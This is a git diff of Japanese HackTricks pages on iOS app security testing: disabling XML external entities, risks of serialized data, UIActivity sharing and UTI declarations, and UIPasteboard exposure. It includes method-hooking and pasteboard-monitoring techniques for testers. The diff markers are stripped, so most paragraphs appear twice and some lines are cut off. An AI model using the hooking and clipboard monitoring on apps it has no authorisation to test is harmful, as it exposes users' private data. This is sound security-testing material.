サードパーティライブラリではなく、Appleの`XMLParser`を使用する場合は、`shouldResolveExternalEntities`が`false`を返すようにしてください。
サードパーティのライブラリを使用せず、Appleの`XMLParser`を使用する場合は、`shouldResolveExternalEntities`が`false`を返すようにしてください。
{% hint style="danger" %}
これらのデータのシリアル化/エンコード方法は、データをファイルシステムに保存するために使用できます。このようなシナリオでは、保存されたデータに**機密情報**が含まれていないかどうかを確認してください。さらに、一部の場合では、シリアル化されたデータを悪用することができますMitM経由でキャプチャしたり、ファイルシステム内で変更したりして任意のデータをデシリアライズし、アプリケーションに予期しない動作をさせることができます詳細は[デシリアライゼーションページ](../../pentesting-web/deserialization/)を参照)。このような場合は、シリアル化されたデータを暗号化して署名付きで送信/保存することを推奨します。
これらのデータのシリアライズ/エンコーディング方法は**ファイルシステムにデータを保存するために使用される**ことがあります。そのようなシナリオでは、保存されたデータに**機密情報**が含まれていないかを確認してください。\
さらに、場合によっては、シリアライズされたデータを悪用してMitMを介してキャプチャするか、ファイルシステム内で変更することによって、任意のデータの逆シリアライズを行い、**アプリケーションに予期しない動作をさせる**可能性があります([Deserialization page](../../pentesting-web/deserialization/)を参照)。これらの場合、シリアライズされたデータを暗号化して署名して送信/保存することを推奨します。
{% endhint %}
## 参考文献
@ -152,16 +138,14 @@ XMLエンコーディングには複数の方法があります。JSONパース
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で<strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></strong></summary>
- **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!**
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* **HackTricksに広告を掲載したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションです。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加するか**、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローしてください。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。
</details>

View file

@ -1,87 +1,94 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でゼロからヒーローまでのAWSハッキングを学ぶ</strong></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
</details>
# UIActivity Sharing
# UIActivity シェアリング
iOS 6以降、サードパーティのアプリは特定のメカニズムAirDropを介してデータアイテムを**共有**することができます。ユーザーの視点からは、「共有」ボタンをクリックした後に表示される、よく知られたシステム全体の「共有アクティビティシート」としてこの機能が現れます。
iOS 6から、サードパーティアプリは特定のメカニズム例えばAirDropなどを介して**データ(アイテム)を共有する**ことが可能です。ユーザーから見ると、これは"シェア"ボタンをクリックした後に表示されるよく知られたシステム全体の_シェアアクティビティシート_です。
利用可能な組み込みの共有メカニズムの完全なリストは、[UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype)で見つけることができます。アプリに適切でないと考えられない場合、**開発者はこれらの共有メカニズムのいくつかを除外することができます**。
利用可能な組み込みシェアリングメカニズムの完全なリストは、[UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype)で見つけることができます。アプリに適切でないと判断された場合、**開発者はこれらのシェアリングメカニズムのいくつかを除外する可能性があります**。
## **アイテムの送信**
`UIActivity`共有をテストする際には、次の点に特に注意する必要があります。
`UIActivity` シェアリングをテストする際には、特に以下に注意を払うべきです:
* 共有されるデータ(アイテム)
* カスタムアクティビティ
* 除外されたアクティビティタイプ
* 共有されるデータ(アイテム),
* カスタムアクティビティ,
* 除外されるアクティビティタイプ。
`UIActivity`を介したデータ共有は、`UIActivityViewController`を作成し、[`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init)に望ましいアイテムURL、テキスト、画像を渡すことで機能します。
`UIActivity`を介したデータ共有は、`UIActivityViewController`を作成し、[`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init)に望ましいアイテムURL、テキスト、画像を渡すことで機能します。
ソースコードがある場合は、`UIActivityViewController`を確認してください。
ソースコードを持っている場合は、`UIActivityViewController`を調べるべきです:
* `init(activityItems:applicationActivities:)`メソッドに渡されるアクティビティを調べます
* カスタムアクティビティが定義されているかどうかを確認します(前のメソッドにも渡されます)
* `excludedActivityTypes`があるかどうかを確認します。
* `init(activityItems:applicationActivities:)`メソッドに渡されるアクティビティを検査する
* カスタムアクティビティが定義されているか(前述のメソッドにも渡される)をチェックする
* `excludedActivityTypes`があるかどうかを確認す
コンパイル/インストールされたアプリしか持っていない場合は、前述のメソッドやプロパティを検索してみてください。例
コンパイル済み/インストール済みのアプリしか持っていない場合は、前述のメソッドとプロパティを探してみてください。例えば
```bash
$ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
0x1000df034 45 44 initWithActivityItems:applicationActivities:
```
## **アイテムの受信**
アイテムを受信する際には、以下の点を確認する必要があります:
アイテムを受信する際には、以下を確認する必要があります:
* アプリが**カスタムドキュメントタイプ**を宣言しているかどうかを、Xcodeプロジェクトの「情報」タブから**エクスポート/インポートUTI**Uniform Type Identifiersを調べることで確認します。すべてのシステムで宣言されたUTIのリストは、[Apple Developer Documentationのアーカイブ](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/UTIRef/Articles/System-DeclaredUniformTypeIdentifiers.html#//apple\_ref/doc/uid/TP40009259)で見つけることができます。
* アプリが開くことができる**ドキュメントタイプ**を指定しているかどうかを、Xcodeプロジェクトの「情報」タブの**ドキュメントタイプ**を調べることで確認します。存在する場合、名前とデータタイプを表す1つ以上のUTIPNGファイルの場合は「public.png」で構成されています。iOSはこれを使用して、アプリが特定のドキュメントを開くことができるかどうかを判断しますエクスポート/インポートUTIを指定するだけでは不十分です)。
* アプリが受信したデータを適切に**検証**しているかどうかを、アプリデリゲートの[`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc)(またはその非推奨バージョンである[`UIApplicationDelegate application:openURL:sourceApplication:annotation:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623073-application?language=objc))の実装を調べることで確認します。
* アプリが**カスタムドキュメントタイプ**を宣言しているかどうかは、**Exported/Imported UTIs**Xcodeプロジェクトの"Info"タブを見て確認します。すべてのシステム宣言されたUTIsUniform Type Identifiersのリストは、[アーカイブされたApple Developer Documentation](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/UTIRef/Articles/System-DeclaredUniformTypeIdentifiers.html#//apple_ref/doc/uid/TP40009259)で見ることができます。
* アプリが開くことができる**ドキュメントタイプ**を指定しているかどうかは、**Document Types**Xcodeプロジェクトの"Info"タブを見て確認します。存在する場合、それらは名前と一つ以上のUTIsで構成されており、データタイプを表しますPNGファイルの場合は"public.png"。iOSはこれを使用して、アプリが特定のドキュメントを開く資格があるかどうかを判断しますExported/Imported UTIsを指定するだけでは不十分です)。
* アプリが受け取ったデータを適切に**検証**しているかどうかは、アプリデリゲート内の[`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc)(またはその非推奨バージョン[`UIApplicationDelegate application:openURL:sourceApplication:annotation:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623073-application?language=objc))の実装を見て確認します。
ソースコードを持っていない場合は、`Info.plist`ファイルを確認し、次の項目を検索します:
ソースコードがない場合でも、`Info.plist`ファイルを見て以下を検索できます:
* アプリがエクスポート/インポートする**カスタムドキュメントタイプ**を宣言している場合は`UTExportedTypeDeclarations`/`UTImportedTypeDeclarations`を確認します
* アプリが開くことができる**ドキュメントタイプ**を指定している場合は`CFBundleDocumentTypes`を確認します
* アプリがカスタムドキュメントタイプを宣言している場合は`UTExportedTypeDeclarations`/`UTImportedTypeDeclarations`。
* アプリが開くことができるドキュメントタイプを指定している場合は`CFBundleDocumentTypes`。
これらのキーの使用方法については[Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i)で非常に詳細な説明がありますが、以下に要約を示します:
これらのキーの使用についての非常に完全な説明は[Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i)で見ることができますが、ここに要約があります:
* `UTExportedTypeDeclarations`:システムにインストールされたシステムにアプリが教えたい**独自のUTI**を定義するために使用します。**UTIはデータの一部**(必ずしもファイル内にあるデータではありません!)を説明し、少なくとも**識別子**`com.example.MyCoolDataType`)が必要です。さらに、**名前**`My Cool Data Type`)、1つ以上のファイル名**拡張子**`.myCoolDataType`、1つ以上の**MIME** **タイプ**`x-application/my-cool-data-type`、1つ以上の**ペーストボード** **タイプ**その種類のデータをコピー貼り付けで転送する際に使用および1つ以上の**レガシーOSタイプ**を持つ場合もあります。通常、既存のUTIに準拠するようにUTIを設定することも望ましいですたとえば、UTIが`public.data`に準拠すると宣言すると、一般的なデータを扱えるプロセスはUTIも扱えるようになります)。
* 例:独自のプロプライエタリファイルデータ形式を定義し、このデータ形式が他のアプリ、プラグイン、拡張機能などにも知られるようにしたい場合。
* `UTImportedTypeDeclarations``UTImportedTypeDeclarations`を使用して、システムに既知になってほしいが、自分のUTIではないUTIについてシステムに教えます。
* 例:アプリが他のアプリのプロプライエタリデータ形式を読み取ることができるが、そのアプリがシステムにインストールされているかどうかさえわからない場合。
* `CFBundleDocumentTypes``CFBundleDocumentTypes`を使用して、アプリが開くことができるドキュメントタイプをシステムに伝えます。**また、ここにUTIをリストアップしない限り**、これらのUTIはFinderでアプリと関連付けられず、アプリは「開く >」メニューに表示されません。\
ドキュメントタイプには常に**役割**を設定する必要があります。**役割**は「**Viewer**」(そのファイルタイプを表示できますが、編集はできません)、**Editor**(そのファイルタイプを表示および編集できます)、**None**(そのファイルに対して何をするかが指定されていない)のいずれかです。
* 例:特定のファイルタイプ拡張子、MIMEタイプ、またはUTI識別子で識別されるとアプリを関連付けたい場合。**アプリをUTIタイプに関連付けたい場合、アプリはそのタイプをインポートまたはエクスポートする必要があります**。そうしないと、システムにそのタイプが知られていないため、未知のUTIタイプに登録しても何の効果もありません。
* `UTExportedTypeDeclarations`:システムにインストールされているアプリが自分のUTIsを教えるために使用します。**UTIはデータの一部を記述します**(必ずしもファイル内にあるデータではありません!)最低限、**識別子**`com.example.MyCoolDataType`)が必要です。さらに、**名前**`My Cool Data Type`)、一つ以上のファイル名**拡張子**`.myCoolDataType`)、一つ以上の**MIME** **タイプ**`x-application/my-cool-data-type`)、一つ以上の**ペーストボード** **タイプ**(コピー&ペーストを使用してその種類のデータを転送する際に使用される)、および一つ以上の**レガシーOSタイプ**があります。通常、既存のUTIsに準拠することも望まれますあなたのUTIが`public.data`に準拠していると言うと、一般的なデータを扱うことができるプロセスは、あなたのUTIも扱うことができます)。
* 例:独自のプロプライエタリファイルデータフォーマットを定義し、このデータフォーマットを他のアプリ、プラグイン、拡張機能などにも知らせたい場合。
* `UTImportedTypeDeclarations`システムにあなたのUTIsではないが、システムで知られているUTIsについて教えるために`UTImportedTypeDeclarations`を使用します。
* 例:あなたのアプリが他のアプリケーションのプロプライエタリデータフォーマットを読むことができるが、そのアプリケーションがシステムにインストールされているかどうかわからない場合。
* `CFBundleDocumentTypes`システムにあなたのアプリが開くことができるドキュメントタイプを伝えるために`CFBundleDocumentTypes`を使用します。**ここにUTIsをリストしない限り**、これらのUTIsはアプリとFinderに関連付けられず、アプリは`Open With >`メニューに表示されません。\
ドキュメントタイプに常に設定する必要があるのは役割です。**役割**は"**Viewer**"(そのファイルタイプを表示できますが、編集はできません)、"**Editor**"(そのファイルタイプを表示して編集できます)、"**None**"(何をすることができるかは指定されていません)のいずれかです。
* 例:特定のファイルタイプにあなたの**アプリを関連付けたい**場合、拡張子、MIMEタイプ、またはUTI識別子で識別されます。**アプリをUTIタイプに関連付けたい場合、アプリはそのタイプをインポートまたはエクスポートする必要があります**。そうでないと、そのタイプはシステムに知られていない可能性があり、未知のUTIタイプに登録しても効果はありません。
## 動的テスト
**アクティビティの送信**については、次のことができます:
**送信アクティビティ**については、以下の方法があります:
* 静的析で見たメソッド([`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init))をフックして、`activityItems`と`applicationActivities`を取得します。
* フックして除外されるアクティビティを特定するために、[`excludedActivityTypes`プロパティ](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622009-excludedactivitytypes)をフックします。
* 静的析で見たメソッド([`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init))をフックして、`activityItems`と`applicationActivities`を取得します。
* [`excludedActivityTypes`プロパティ](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622009-excludedactivitytypes)をフックして、除外されたアクティビティを見つけます。
アイテムの受信については、次のことができます:
アイテムを受信するには、以下の方法があります:
* 別のアプリからアプリにファイルを**共有**したり、AirDropやメールで送信したりします。ファイルを選択して、「開く...」ダイアログが表示されるようにしますつまり、ファイルを開くためのデフォルトのアプリがない場合、例えばPDFの場合
* `application:openURL:options:`や以前の静的解析で特定された他のメソッドをフックします。
* アプリの動作を観察します。
* さらに、特定の不正なファイルを送信したり、ファジング技術を使用したりすることができます。
詳細は[こちら](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#dynamic-analysis-8)を参照してください。
* 別のアプリからファイルをアプリに_Share_するか、AirDropやメールで送信します。"Open with..."ダイアログがトリガーされるファイルを選択しますつまり、ファイルを開くデフォルトのアプリがない場合、例えばPDFなど
* `application:openURL:options:`および以前の静的分析で特定された他のメソッドをフックします。
* アプリの挙動を観察します。
* 加えて、特定の不正なファイルを送信したり、ファジング技術を使用することもできます。
**こちらで** [**読む**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#dynamic-analysis-8)**。**
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/h
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
* **HackTricks**https://github.com/carlospolop/hacktricksおよび[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。
</details>

View file

@ -1,60 +1,68 @@
```markdown
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) を使って AWS ハッキングをゼロからヒーローまで学ぶ</strong></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricks をサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください**.**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
* **HackTricks にあなたの会社を広告掲載したい場合**や **HackTricks を PDF でダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式 PEASS & HackTricks グッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFT**](https://opensea.io/collection/the-peass-family) コレクションをチェックする
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f)や [**telegram グループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を **フォローする**
* **HackTricks** の [**GitHub リポジトリ**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) に PR を提出して、あなたのハッキングテクニックを共有する。
</details>
[`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard)は、アプリ内および他のアプリ間でデータを共有するために使用されます。2種類のペーストボードがあります。
[`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) は、アプリ内でのデータ共有、およびアプリから他のアプリへのデータ共有を可能にします。ペーストボードには2種類あります
* **システム全体の一般的なペーストボード****任意のアプリ**とデータを共有するためのものです。iOS 10以降、デバイスの再起動やアプリのアンインストールに関係なく、デフォルトで永続的です
* **カスタム/名前付きペーストボード****別のアプリ**共有元のアプリと同じチームIDを持つまたは**アプリ自体**とデータを共有するためのものです作成したプロセス内でのみ利用可能です。iOS 10以降、デフォルトでは非永続的です。つまり、所有作成アプリが終了するまで存在します。
* **システム全体の一般ペーストボード****任意のアプリ**とデータを共有するためのもの。デフォルトでデバイスの再起動やアプリのアンインストールを越えて永続化されますiOS 10以降
* **カスタム/名前付きペーストボード****別のアプリ**共有元のアプリと同じチームIDを持つや**アプリ自体**とデータを共有するためのものそれらは作成したプロセス内でのみ利用可能。デフォルトでは非永続化iOS 10以降、つまり所有作成アプリが終了するまでのみ存在します。
いくつかのセキュリティ上の考慮事項:
セキュリティ上の考慮事項:
* ユーザーはアプリが**ペーストボードを読み取る許可を付与または拒否することはできません**。
* iOS 9以降、アプリは[バックグラウンドでのペーストボードのアクセスを制限されています](https://forums.developer.apple.com/thread/13760)。これにより、バックグラウンドでのペーストボード監視が緩和されます。
* [Appleは永続的な名前付きペーストボードについて警告しており](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc)、その使用を**推奨していません**。代わりに、共有コンテナを使用する必要があります。
* iOS 10以降、デフォルトで有効になっている**ハンドオフ機能の一部であるUniversal Clipboard**があります。これにより、**一般的なペーストボードの内容が自動的にデバイス間で転送**されます。開発者が選択すれば、この機能を無効にすることも可能で、コピーされたデータの有効期限を設定することもできます。
* ユーザーはアプリが**ペーストボード**を読むための**許可を与えたり拒否したりすることはできません**。
* iOS 9以降、アプリは[バックグラウンドでペーストボードにアクセスできなくなりました](https://forums.developer.apple.com/thread/13760)。これにより、バックグラウンドでのペーストボード監視が緩和されます。
* [Apple は永続的な名前付きペーストボードについて警告しており](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc)、その使用を**推奨していません**。代わりに共有コンテナを使用するべきです。
* iOS 10からは、デフォルトで有効になっている新しいHandoff機能である**Universal Clipboard**が導入されました。これにより、**一般ペーストボードの内容がデバイス間で自動的に転送される**ようになります。開発者が選択した場合、この機能は無効にすることができ、コピーされたデータに対して有効期限と日付を設定することも可能です。
したがって、**機密情報がグローバルペーストボードに保存されていないかを確認することが重要**です。\
また、**アプリケーションがグローバルペーストボードのデータを使用してアクションを実行していないかを確認することも重要**です。悪意のあるアプリケーションがこのデータを改ざんする可能性があります。
したがって、**機密情報がグローバルペーストボード内に保存されていないことを確認することが重要です**。\
また、**アプリケーションがグローバルペーストボードのデータを使用してアクションを実行していないことを確認することも重要です**。悪意のあるアプリケーションがこのデータを改ざんする可能性があります。
**アプリケーションは、ユーザーがクリップボードに機密データをコピーするのを防ぐ**こともできます(推奨されています)。
**アプリケーションは、ユーザーがクリップボードに機密データをコピーすることを防ぐこともできます**(推奨されます)。
## 静的
## 静的
**システム全体の一般的なペーストボード**は、[`generalPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard/1622106-generalpasteboard?language=objc)を使用して取得できます。このメソッドをソースコードまたはコンパイルされたバイナリで検索してください。機密データを扱う場合は、システム全体の一般的なペーストボードの使用は避けるべきです。
**システム全体の一般ペーストボード**は、[`generalPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard/1622106-generalpasteboard?language=objc)を使用して取得できます。ソースコードまたはコンパイル済みバイナリでこのメソッドを検索します。機密データを扱う際には、システム全体の一般ペーストボードの使用は避けるべきです。
**カスタムペーストボード**は、[`pasteboardWithName:create:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622074-pasteboardwithname?language=objc)または[`pasteboardWithUniqueName`](https://developer.apple.com/documentation/uikit/uipasteboard/1622087-pasteboardwithuniquename?language=objc)を使用して作成できます。カスタムペーストボードが永続的に設定されているかどうかを確認してください。iOS 10以降、これは非推奨となっています。代わりに共有コンテナを使用する必要があります。
**カスタムペーストボード**は、[`pasteboardWithName:create:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622074-pasteboardwithname?language=objc)または[`pasteboardWithUniqueName`](https://developer.apple.com/documentation/uikit/uipasteboard/1622087-pasteboardwithuniquename?language=objc)で作成できます。iOS 10以降非推奨とされているため、カスタムペーストボードが永続化されるように設定されているかを確認してください。代わりに共有コンテナを使用すべきです。
## 動的
## 動的
以下のメソッドをフックまたはトレースしてください
以下をフックまたはトレースします
* システム全体の一般的なペーストボードの場合は`generalPasteboard`
* カスタムペーストボードの場合は`pasteboardWithName:create:`および`pasteboardWithUniqueName`
* システム全体の一般ペーストボードに対しては `generalPasteboard`
* カスタムペーストボードに対しては `pasteboardWithName:create:``pasteboardWithUniqueName`
また、非推奨の[`setPersistent:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622096-setpersistent?language=objc)メソッドをフックまたはトレースし、呼び出されているかどうかを確認してください
非推奨の [`setPersistent:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622096-setpersistent?language=objc) メソッドもフックまたはトレースし、呼び出されているかを確認することができます
**ペーストボードを監視**する際には、以下の詳細情報を動的に**取得**できます:
**ペーストボードを監視**する際には、以下のような**詳細**を動的に**取得**することができます:
* `pasteboardWithName:create:`をフックして入力パラメータを検査するか、`pasteboardWithUniqueName`をフックして返り値を検査することで、**ペーストボードの名前**を取得できます。
* **最初に利用可能なペーストボードアイテム**を取得します。文字列の場合は`string`メソッドを使用します。または、[標準のデータ型](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#1654275)の他のメソッドを使用します。
* `numberOfItems`を使用して**アイテムの数**を確認します。
* [便利なメソッド](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#2107142)を使用して、標準のデータ型の**存在**を確認します。例えば、`hasImages`、`hasStrings`、`hasURLs`iOS 10以降などです。
* [`containsPasteboardTypes:inItemSet:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622100-containspasteboardtypes?
たとえば、このスクリプト([objectionのペーストボードモニターのスクリプト](https://github.com/sensepost/objection/blob/b39ee53b5ba2e9a271797d2f3931d79c46dccfdb/agent/src/ios/pasteboard.ts)に基づいていますは、5秒ごとにペーストボードのアイテムを読み取り、新しいものがあればそれを表示します。
* `pasteboardWithName:create:` をフックして入力パラメータを検査するか、`pasteboardWithUniqueName` をフックしてその戻り値を検査することで、**ペーストボード名を取得**します。
* **最初に利用可能なペーストボードアイテムを取得**します:例えば文字列の場合は `string` メソッドを使用します。または、[標準データタイプ](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#1654275)の他のメソッドを使用します。
* `numberOfItems` で**アイテム数を取得**します。
* [便利なメソッド](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#2107142)を使用して、**標準データタイプの存在を確認**します。例えば `hasImages`、`hasStrings`、`hasURLs` などiOS 10から開始
* [`containsPasteboardTypes:inItemSet:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622100-containspasteboardtypes?language=objc) を使用して、**他のデータタイプ**通常はUTIを確認します。例えば、public.png や public.tiff[UTI](http://web.archive.org/web/20190616231857/https://developer.apple.com/documentation/mobilecoreservices/uttype)のような具体的なデータタイプや、com.mycompany.myapp.mytype のようなカスタムデータを検査します。この場合、ペーストボードに書き込まれたデータを理解できるのは、そのタイプを_宣言している_アプリのみです。[`itemSetWithPasteboardTypes:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622071-itemsetwithpasteboardtypes?language=objc) を使用して対応するUTIを設定して取得します。
